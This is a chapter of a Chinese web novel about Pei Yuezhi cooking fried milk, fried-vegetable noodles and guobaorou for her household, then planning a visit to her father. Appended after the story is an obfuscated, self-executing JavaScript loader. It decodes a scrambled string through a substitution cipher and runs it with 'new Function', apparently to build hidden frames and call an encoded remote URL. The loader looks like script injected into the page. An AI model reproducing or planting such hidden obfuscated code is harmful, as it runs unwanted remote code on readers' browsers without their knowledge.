肉都炸好之后，把油温升高进行第一次复炸。
第一次复炸，炸上三十秒左右就要捞出来。
然后再升高油温，把油烧的微微冒烟的时候，就可以把肉下进去，进行第二次复炸了。
炸至外壳变得金黄，露肉的地方呈现出枣红色，就可以捞出来了。
这样复炸过两次的肉，会更加的酥脆，放久了也不会轻易的回软。
趁着油热，裴月之准备把鲜奶和炸串也一起炸了。
已经凝固成型的牛奶，切成大小均匀的长条，裹上玉米淀粉，鸡蛋液，又买了一些白色的面包糠，这样他们问起来就说是用馒头弄的。
柳圆圆直呼真有你的。
油热下锅，炸上两三分钟，炸鲜奶就做好了外表酥酥脆脆，里面非常的柔软，香甜可口。
好吃的炸鲜奶就做好了，这道菜小孩子一定很喜欢。
接下来，裴月之准备做炸串拌面。
说是炸串，但其实也没有香肠和丸子什么的，就是一些炸的菜。
把土豆去皮，切成滚刀块，放到锅里蒸一会儿，蒸到一种半生不熟的状态，放在一边备用。
长豆角摘干净之后，掰成大小均匀的小段儿。
辣椒洗干净，去蒂去籽，切成适中的段。
大头菜也是切成块，抖散之后就是一片儿一片儿的了。
趁着土豆还没有蒸好，先来调一个酱料。
准备辣椒面，白芝麻，孜然粉，烧烤料，一点点的番茄酱，蚝油，蒜蓉辣酱，生抽，在泼上一勺热油，最后加一些蒜末，鸡精，味精，一点白糖。
这个料绝对好吃。
柳圆圆闻到酱料的香味，凑过来说:“月月，这么多调料啊，那句话怎么说的，这个料拌鞋底儿都好吃。”
“哎呀，炸串什么的，重口味的小吃都这样嘛，料确实是多了点。”
这会儿土豆也蒸成了半生不熟的状态，再次热油先炸一下土豆，土豆下锅之后，不要着急得去碰它。
保持大火，把土豆的外表炸出一层脆壳，外壳坚硬定型之后，再去翻动它。
等土豆炸至表面金黄，就算炸好了。
“圆圆，我买点鲜切面，你帮我煮一下面。”
开始炸串，这就快要好了，先把面煮上，都炸完之后，直接一拌就好了。
裴月之接着开始炸豆角，这个需要小一点的火来炸，基本三四分钟就好了。
接下来是大头菜，这个菜的水分，比前两个要大一些，需要大火来炸，炸至有些焦边了，就是好了。
一定要好好的把油控掉，菜叶之间的褶皱，会藏油，不控干的话会腻。
接下来炸青椒，炸至虎皮状，发软捞出。
面煮好之后，和炸菜拌到一起，撒上点小葱花，香喷喷的炸串拌面就做好了。
拌面有柳圆圆去弄，裴月之马上把锅包肉炒出来。
锅里只留下一点点的底油，烧热之后，把刚才调好的糖醋汁搅拌均匀，淋到锅里。
下锅之后，不停的搅拌至浓稠，大概二十秒左右，开始有些挂铲了，盛出来一勺汁。
锅包肉倒进去，再把提前切好的胡萝卜丝和葱丝，姜丝，香菜也倒进去。
刚才盛出来的汁倒回去，方便炒匀。
快速的把汁炒匀，锅包肉就做好了。
那边柳圆圆的面也拌好了，本来以为放假能按时吃饭的，被自己的记性搞的，忘记这些菜的准备工作比较久。
还是和平时上班时间差不多的吃饭时间。
“开饭啦！快过来端菜啦！”
裴月之一声令下，柳圆圆，范暮齐齐出动，没几下，就都端上桌了。
“好香呀，娘，您又坐了新的吃的呀！感觉好好吃的样子。”范暮看着桌上的新菜品，开心的说道。
在快开饭之前，梁真真被分派任务，过去叫柳婆婆来吃饭，这会儿刚回来，就听见范暮在说新吃的。
“裴姨，您又做新的东西了？您这也太厉害了，还有多少惊喜是我们不知道啊！”
柳圆圆每次有人夸裴月之，她就骄傲的不行：“你裴姨，那必须是最顶尖的大厨啊，这都小意思。”
连柳婆婆看着这桌上几道没见过的食物，都是连连惊叹：“月之啊，这么长一段时间，咱们一直动不动就吃新菜了，你说你脑袋里装了多少东西啊！”
“在裴姨这里，真真也见到了好多没见过的东西，普通的青菜也可以炒的很好吃，就连面条都能做出这么多花样，每顿都吃的很饱，吃的很香，以前从来不敢想象这样的生活。”
梁真真在这生活了几天，已经不那么拘谨了，就连话都比之前多了一些，每天笑盈盈的，很难想象，她前几天前还是那个样子。
“好了，不要再夸了，我都快骄傲了，快吃饭吧，快来尝尝我新做的锅包肉，这个是炸鲜奶，用牛乳做的，还有一个炸菜拌面。”
裴月之赶紧阻止她们继续的夸奖，给每个人都盛了面条。
酸甜酥脆的锅包肉，还有外酥里软，奶香浓郁的炸鲜奶，再配上一口拌面，别提有多满足了。
美美的吃了一顿，裴月之就和她们说起了明天要做的事儿。
“我和圆圆把东西都搬过去了，明天圆圆带着真真去店里，两位嫂子也会过去帮忙，把店整理一下就行，我带着范暮回一下我爹那，看看能不能把他们接过来。”
柳圆圆回道：“有我在你就放心吧，你明天是不是回不来呀？”
“对呀，我明天去的话可能回不来，不过东西不算多，明天一天就能收拾好，后天我就回来了，大后天就开始营业，还有一点紧张呢。”
柳婆婆也说道：“家这边你就放心，到时候让朝儿去我那，他跟念安住，真真也去我那，正好都能住下。”
裴月之也正有此意，自己不在家，有点不放心两个孩子在家。
答应下来：“那就麻烦姨了，这回休息，没赶上孩子们放假，就不带着他了。”
“没事儿，你到时候多劝劝你爹，这女儿条件好起来了，心里有他，知道惦记他，多好的事儿。”柳婆婆说道。
“嗯呢，我争取把我爹劝过来。”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();